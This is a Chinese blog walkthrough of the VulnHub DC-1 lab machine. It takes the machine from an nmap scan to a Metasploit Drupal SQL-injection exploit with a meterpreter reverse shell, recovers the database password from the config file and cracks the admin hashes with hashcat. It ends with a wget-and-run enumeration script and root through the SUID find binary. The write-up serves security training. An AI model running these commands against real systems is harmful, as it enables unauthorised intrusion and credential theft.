




vulnhub靶机-DC1-Writeup

原创

含且  于 2021-12-08 17:10:56 发布  883  收藏

分类专栏: [靶机](#) 文章标签: [网络安全](#) [web安全](#) [渗透测试](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/liuhandzhe/article/details/121795060>

版权



[靶机](#) 专栏收录该内容

9 篇文章 0 订阅

订阅专栏

0x01 部署

靶机地址:

<https://www.vulnhub.com/entry/dc-1,292/>

根据靶机说明, 需要找到5个flag

下载镜像, 使用vmware打开, 网络选择NAT模式

0x02 信息收集

nmap扫描网段

```
nmap -sP 192.168.190.0/24
```

```
(liuhandzhe@kali)-[~]
└─$ nmap -sP 192.168.190.0/24
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-01 17:37 CST
Nmap scan report for 192.168.190.2
Host is up (0.0012s latency).
Nmap scan report for 192.168.190.129
Host is up (0.0065s latency).
Nmap scan report for 192.168.190.134
Host is up (0.0024s latency).
Nmap done: 256 IP addresses (3 hosts up) scanned in 5.25 seconds
```

发现目标IP: [192.168.190.134](#)

进一步扫描端口

```
nmap -T5 -A -v -p- 192.168.190.134
```

扫描结果:

```
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-01 17:38 CST
Happy 24th Birthday to Nmap, may it live to be 124!
NSE: Loaded 153 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 17:38
```

```
Initiating NSE at 17:38
Completed NSE at 17:38, 0.00s elapsed
Initiating NSE at 17:38
Completed NSE at 17:38, 0.00s elapsed
Initiating NSE at 17:38
Completed NSE at 17:38, 0.00s elapsed
Initiating Ping Scan at 17:38
Scanning 192.168.190.134 [2 ports]
Completed Ping Scan at 17:38, 0.00s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 17:38
Completed Parallel DNS resolution of 1 host. at 17:38, 0.00s elapsed
Initiating Connect Scan at 17:38
Scanning 192.168.190.134 [65535 ports]
Discovered open port 80/tcp on 192.168.190.134
Discovered open port 22/tcp on 192.168.190.134
Discovered open port 111/tcp on 192.168.190.134
Discovered open port 48247/tcp on 192.168.190.134
Completed Connect Scan at 17:38, 2.57s elapsed (65535 total ports)
Initiating Service scan at 17:38
Scanning 4 services on 192.168.190.134
Completed Service scan at 17:38, 11.01s elapsed (4 services on 1 host)
NSE: Script scanning 192.168.190.134.
Initiating NSE at 17:38
Completed NSE at 17:39, 1.62s elapsed
Initiating NSE at 17:39
Completed NSE at 17:39, 0.11s elapsed
Initiating NSE at 17:39
Completed NSE at 17:39, 0.00s elapsed
Nmap scan report for 192.168.190.134
Host is up (0.00019s latency).
Not shown: 65531 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
| ssh-hostkey:
|   1024 c4:d6:59:e6:77:4c:22:7a:96:16:60:67:8b:42:48:8f (DSA)
|   2048 11:82:fe:53:4e:dc:5b:32:7f:44:64:82:75:7d:d0:a0 (RSA)
|_  256 3d:aa:98:5c:87:af:ea:84:b8:23:68:8d:b9:05:5f:d8 (ECDSA)
80/tcp    open  http     Apache httpd 2.2.22 ((Debian))
|_ http-favicon: Unknown favicon MD5: B6341DFC213100C61DB4FB8775878CEC
|_ http-generator: Drupal 7 (http://drupal.org)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_ /LICENSE.txt /MAINTAINERS.txt
|_ http-server-header: Apache/2.2.22 (Debian)
|_ http-title: Welcome to Drupal Site | Drupal Site
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo:
|   program version  port/proto  service
|   100000  2,3,4    111/tcp    rpcbind
|   100000  2,3,4    111/udp    rpcbind
|   100000  3,4      111/tcp6   rpcbind
|   100000  3,4      111/udp6   rpcbind
|   100024  1        46013/udp  status
|   100024  1        47802/tcp6 status
|   100024  1        48247/tcp  status
|_  100024  1        58175/udp6 status
```

```
48247/tcp open  status  1 (RPC #100024)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
Initiating NSE at 17:39
Completed NSE at 17:39, 0.00s elapsed
Initiating NSE at 17:39
Completed NSE at 17:39, 0.00s elapsed
Initiating NSE at 17:39
Completed NSE at 17:39, 0.00s elapsed
Read data files from: /usr/bin/./share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.83 seconds
```

发现80端口，且运行的是Drupal

0x03 漏洞利用

使用浏览器访问目标机80端口，确定运行Drupal

Drupal存在已知的可利用漏洞：已知Drupal漏洞，使用msf搜索drupal

```
msf6 > search drupal

Matching Modules
-----
#  Name                                     Disclosure Date  Rank    Check  Description
-  -
0  exploit/unix/webapp/drupal_coder_exec      2016-07-13      excellent Yes    Drupal CODER Module Remote Command Execution
1  exploit/unix/webapp/drupal_drupalgeddon2  2018-03-28      excellent Yes    Drupal Drupalgeddon 2 Forms API Property Injection
2  exploit/multi/http/drupal_drupageddon     2014-10-15      excellent No     Drupal HTTP Parameter Key/Value SQL Injection
3  auxiliary/gather/drupal_openid_xxe       2012-10-17      normal   Yes    Drupal OpenID External Entity Injection
4  exploit/unix/webapp/drupal_restws_exec    2016-07-13      excellent Yes    Drupal RESTWS Module Remote PHP Code Execution
5  exploit/unix/webapp/drupal_restws_unserialize  2019-02-20      normal   Yes    Drupal RESTful Web Services unserialize() RCE
6  auxiliary/scanner/http/drupal_views_user_enum  2010-07-02      normal   Yes    Drupal Views Module Users Enumeration
7  exploit/unix/webapp/php_xmlrpc_eval       2005-06-29      excellent Yes    PHP XML-RPC Arbitrary Code Execution

Interact with a module by name or index. For example info 7, use 7 or use exploit/unix/webapp/php_xmlrpc_eval
```

CSDN @刘晗哲

尝试使用后，使用 `exploit/multi/http/drupal_drupageddon` 获得metaerpreter shell

```
msf6 exploit(multi/http/drupal_drupageddon) > use exploit/multi/http/drupal_drupageddon
[*] Using configured payload php/meterpreter/reverse_tcp
msf6 exploit(multi/http/drupal_drupageddon) > set RHOST 192.168.190.134
RHOST => 192.168.190.134
msf6 exploit(multi/http/drupal_drupageddon) > run

[*] Started reverse TCP handler on 192.168.190.129:4444
[*] Sending stage (39282 bytes) to 192.168.190.134
[*] Meterpreter session 1 opened (192.168.190.129:4444 -> 192.168.190.134:54398) at 2021-09-03 09:56:45 +0800

meterpreter > █
```

flag1

执行 `ls` 发现flag1.txt，查看内容

```
meterpreter > pwd
/var/www
meterpreter > ls
Listing: /var/www

Mode                Size      Type      Last modified          Name
-----
100644/rw-r--r--    174      fil      2013-11-21 04:45:59 +0800 .gitignore
100644/rw-r--r--    5767     fil      2013-11-21 04:45:59 +0800 .htaccess
100644/rw-r--r--    1481     fil      2013-11-21 04:45:59 +0800 COPYRIGHT.txt
100644/rw-r--r--    1451     fil      2013-11-21 04:45:59 +0800 INSTALL.mysql.txt
100644/rw-r--r--    1874     fil      2013-11-21 04:45:59 +0800 INSTALL.pgsql.txt
100644/rw-r--r--    1298     fil      2013-11-21 04:45:59 +0800 INSTALL.sqlite.txt
100644/rw-r--r--   17861     fil      2013-11-21 04:45:59 +0800 INSTALL.txt
100755/rwxr-xr-x   18092     fil      2013-11-01 18:14:15 +0800 LICENSE.txt
100644/rw-r--r--    8191     fil      2013-11-21 04:45:59 +0800 MAINTAINERS.txt
100644/rw-r--r--    5376     fil      2013-11-21 04:45:59 +0800 README.txt
100644/rw-r--r--    9642     fil      2013-11-21 04:45:59 +0800 UPGRADE.txt
100644/rw-r--r--    6604     fil      2013-11-21 04:45:59 +0800 authorize.php
100644/rw-r--r--    720      fil      2013-11-21 04:45:59 +0800 cron.php
100644/rw-r--r--    52       fil      2019-02-19 21:20:46 +0800 flag1.txt
40755/rwxr-xr-x    4096     dir      2013-11-21 04:45:59 +0800 includes
100644/rw-r--r--    529      fil      2013-11-21 04:45:59 +0800 index.php
100644/rw-r--r--    703      fil      2013-11-21 04:45:59 +0800 install.php
40755/rwxr-xr-x    4096     dir      2013-11-21 04:45:59 +0800 misc
40755/rwxr-xr-x    4096     dir      2013-11-21 04:45:59 +0800 modules
40755/rwxr-xr-x    4096     dir      2013-11-21 04:45:59 +0800 profiles
100644/rw-r--r--   1561     fil      2013-11-21 04:45:59 +0800 robots.txt
40755/rwxr-xr-x    4096     dir      2013-11-21 04:45:59 +0800 scripts
40755/rwxr-xr-x    4096     dir      2013-11-21 04:45:59 +0800 sites
40755/rwxr-xr-x    4096     dir      2013-11-21 04:45:59 +0800 themes
100644/rw-r--r--   19941     fil      2013-11-21 04:45:59 +0800 update.php
100644/rw-r--r--    2178     fil      2013-11-21 04:45:59 +0800 web.config
100644/rw-r--r--    417      fil      2013-11-21 04:45:59 +0800 xmlrpc.php

meterpreter > cat flag1.txt
Every good CMS needs a config file - and so do you.
meterpreter >
```

CSDN @刘晗哲

flag2

根据flag1的内容，flag可能在drupal的配置文件中，执行 `shell` 获取shell后，执行 `grep -Rn "flag2" *` 发现flag2在 `sites/default/settings.php` 第5行，查看flag

```
grep -Rn "flag2" *
sites/default/settings.php:5: * flag2

cat sites/default/settings.php
<?php
/*
 *
 * flag2
 * Brute force and dictionary attacks aren't the
 * only ways to gain access (and you WILL need access).
 * What can you do with these credentials?
 *
 */

$databases = array (
  'default' =>
    array (
      'default' =>
        array (
          'database' => 'drupaldb',
          'username' => 'dbuser',
          'password' => 'R0ck3t',
          'host' => 'localhost',
          'port' => '',
          'driver' => 'mysql',
          'prefix' => '',
        ),
      ),
    ),
);
```

CSDN @刘晗哲

flag3

flag2提示要通过认证，但是暴力破解不是唯一的方法。配置文件flag2的下面就是数据库配置，考虑通过进入数据库查看账号密码。

获取交互shell

```
python -c 'import pty; pty.spawn("/bin/sh")'
```

通过 `mysql -u dbuser -p` 链接数据库


```
$ mysql -u dbuser -p
mysql -u dbuser -p
Enter password: R0ck3t

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 73
Server version: 5.5.60-0+deb7u1 (Debian)

Copyright (c) 2000, 2018, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql>

mysql> show databases;
show databases;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that
mysql> show databases;
show databases;
+-----+
| Database |
+-----+
| information_schema |
| drupaldb |
+-----+
2 rows in set (0.00 sec)

mysql> |
```

CSDN @刘晗哲

进入drupaldb库，查看所有表

```
use drupaldb
```

```
show tables
```

```
+-----+
| Tables_in_drupaldb |
+-----+
| actions |
| authmap |
| batch |
| block |
| block_custom |
| block_node_type |
| block_role |
| blocked_ips |
| cache |
| cache_block |
| cache_bootstrap |
| cache_field |
| cache_filter |
| cache_form |
| cache_image |
| cache_menu |
| cache_page |
| cache_path |
| cache_update |
| cache_views |
| cache_views_data |
| comment |
| ctools_css_cache |
| ctools_object_cache |
```

```
| date_format_locale |
| date_format_type  |
| date_formats      |
| field_config      |
| field_config_instance |
| field_data_body   |
| field_data_comment_body |
| field_data_field_image |
| field_data_field_tags |
| field_revision_body |
| field_revision_comment_body |
| field_revision_field_image |
| field_revision_field_tags |
| file_managed      |
| file_usage        |
| filter            |
| filter_format     |
| flood             |
| history           |
| image_effects     |
| image_styles      |
| menu_custom       |
| menu_links        |
| menu_router       |
| node              |
| node_access       |
| node_comment_statistics |
| node_revision     |
| node_type         |
| queue             |
| rdf_mapping       |
| registry          |
| registry_file     |
| role              |
| role_permission   |
| search_dataset    |
| search_index      |
| search_node_links |
| search_total      |
| semaphore         |
| sequences         |
| sessions          |
| shortcut_set      |
| shortcut_set_users |
| system            |
| taxonomy_index    |
| taxonomy_term_data |
| taxonomy_term_hierarchy |
| taxonomy_vocabulary |
| url_alias         |
| users             |
| users_roles       |
| variable          |
| views_display     |
| views_view        |
| watchdog          |
+-----+
```

发现user表，查看表中信息

```
mysql> select * from users;
select * from users;
+----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+
| uid | name | pass | picture | init | data | mail | theme | signature | signature_format | created | access | login | status | timezone | lan |
+----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+
| 0 | | | | | NULL | | | NULL | | 0 | 0 | 0 | 0 | NULL | |
| 1 | admin | $$DvQI6Y600iNeXRiEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR | admin@example.com | b:0; | | admin@example.com | | NULL | | 1550581826 | 1550583852 | 1550582362 | 1 | Australia/Melbourne | |
| 2 | Fred | $$DwGrxf6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg | fred@example.org | b:0; | | fred@example.org | | filtered_html | | 1550581952 | 1550582225 | 1550582225 | 1 | Australia/Melbourne | |
+----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+
3 rows in set (0.00 sec)
```

CSDN @刘晗哲

这里通过hashcat破解密码，字典使用kali的rockyou.txt。

[hashcat使用介绍：hashcat使用](#)

查询Drupal模式id

```
(root@kali)-[~/home/liuhanzhe]
# hashcat --help |grep Drupal
7900 | Drupal7 | Forums, CMS, E-Commerce
```

执行破解

```
echo "\$DvQI6Y600iNeXRiEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR" > hash.txt
echo "\$DwGrxf6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg" >> hash.txt
hashcat -m 7900 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
```

耗时一小时40分钟破解完成，获得admin密码53cr3t，Fred密码MyPassword

```
$$DwGrxf6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg:MyPassword
$$DvQI6Y600iNeXRiEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR:53cr3t

Session.....: hashcat
Status.....: Cracked
Hash.Name.....: Drupal7
Hash.Target.....: hash.txt
Time.Started....: Thu Sep 2 18:36:00 2021 (1 hour, 36 mins)
Time.Estimated...: Thu Sep 2 20:12:13 2021 (0 secs)
Guess.Base.....: File (rockyou.txt)
Guess.Queue.....: 1/1 (100.00%)
Speed.#1.....: 481 H/s (8.21ms) @ Accel:32 Loops:1024 Thr:1 Vec
Recovered.....: 2/2 (100.00%) Digests, 2/2 (100.00%) Salts
Progress.....: 4482944/28688754 (15.63%)
Rejected.....: 0/4482944 (0.00%)
Restore.Point....: 2241408/14344377 (15.63%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:31744-32768
Candidates.#1....: 540007 → 53914422

Started: Thu Sep 2 18:35:59 2021
Stopped: Thu Sep 2 20:12:15 2021

(root@kali)-[~/vu1nhub]
# hashcat -m 7900 -a 0 hash.txt rockyou.txt --show
$$DvQI6Y600iNeXRiEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR:53cr3t
$$DwGrxf6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg:MyPassword

(root@kali)-[~/vu1nhub]
```

CSDN @刘晗哲

使用admin账号登录，在Dashboard中发现flag3

flag3

View

Edit

Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.

CSDN @刘晗哲

flag4

根据flag3的提示, `cat /etc/passwd`

```
$ cat /etc/passwd /vulnhub
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuid:x:100:101::/var/lib/libuid:/bin/sh
Debian-exim:x:101:104::/var/spool/exim4:/bin/false
statd:x:102:65534::/var/lib/nfs:/bin/false
messagebus:x:103:107::/var/run/dbus:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
mysql:x:105:109:MySQL Server,,,:/nonexistent:/bin/false
flag4:x:1001:1001:Flag4,,,:/home/flag4:/bin/bash
```

发现flag4用户, 查看home下存在flag4.txt, 查看内容获得flag4

```
$ ls /home/flag4
ls /home/flag4
flag4.txt
$ cat /home/flag4/flag4.txt
cat /home/flag4/flag4.txt
Can you use this same method to find or access the flag in root?

Probably. But perhaps it's not that easy. Or maybe it is?
$
```

flag5

根据flag4提示, 通过同样方法在root下获取flag, 尝试没有权限

```
$ ls /root/
ls /root/
ls: cannot open directory /root/: Permission denied
```

使用LineEnum提权

在kali上下载LineEnum，并启动一个HTTP服务roo

```
git clone https://github.com/rebootuser/LinEnum.git
cd LinEnum
python -m SimpleHTTPServer 8080
```

在目标机上下载LineEnumh后执行

```
wget http://192.168.190.129:8080/LinEnum.sh
bash LinEnum.sh
```

发现find可以利用

```
[-] SUID files:
-rwsr-xr-x 1 root root 88744 Dec 10 2012 /bin/mount
-rwsr-xr-x 1 root root 31104 Apr 13 2011 /bin/ping
-rwsr-xr-x 1 root root 35200 Feb 27 2017 /bin/su
-rwsr-xr-x 1 root root 35252 Apr 13 2011 /bin/ping6
-rwsr-xr-x 1 root root 67704 Dec 10 2012 /bin/umount
-rwsr-sr-x 1 daemon daemon 50652 Oct 4 2014 /usr/bin/at
-rwsr-xr-x 1 root root 35892 Feb 27 2017 /usr/bin/chsh
-rwsr-xr-x 1 root root 45396 Feb 27 2017 /usr/bin/passwd
-rwsr-xr-x 1 root root 30880 Feb 27 2017 /usr/bin/newgrp
-rwsr-xr-x 1 root root 44564 Feb 27 2017 /usr/bin/chfn
-rwsr-xr-x 1 root root 66196 Feb 27 2017 /usr/bin/gpasswd
-rwsr-sr-x 1 root mail 83912 Nov 18 2017 /usr/bin/procmail
-rwsr-xr-x 1 root root 162424 Jan 6 2012 /usr/bin/find
-rwsr-xr-x 1 root root 937564 Feb 11 2018 /usr/sbin/exim4
-rwsr-xr-x 1 root root 9660 Jun 20 2017 /usr/lib/pt_chown
-rwsr-xr-x 1 root root 248036 Jan 27 2018 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 5412 Mar 28 2017 /usr/lib/eject/dmccrypt-get-device
-rwsr-xr-x 1 root messagebus 321692 Feb 10 2015 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 84532 May 22 2013 /sbin/mount.nfs

[+] Possibly interesting SUID files:
-rwsr-xr-x 1 root root 162424 Jan 6 2012 /usr/bin/find
```

CSDN @刘晗哲

执行

```
find . -exec /bin/sh \; -quit
```

查看权限成功提权

```
$ find . -exec /bin/sh \; -quit
find . -exec /bin/sh \; -quit
#
# whoami
whoami
root
#
```

查看/root下flag文件，获得flag5

```
# cd /root
cd /root
# ls
ls
thefinalflag.txt
# cat thefinalflag.txt
cat thefinalflag.txt
Well done!!!!
```

Hopefully you've enjoyed this and learned some new skills.

You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7

```
# █
```

CSDN @刘晗哲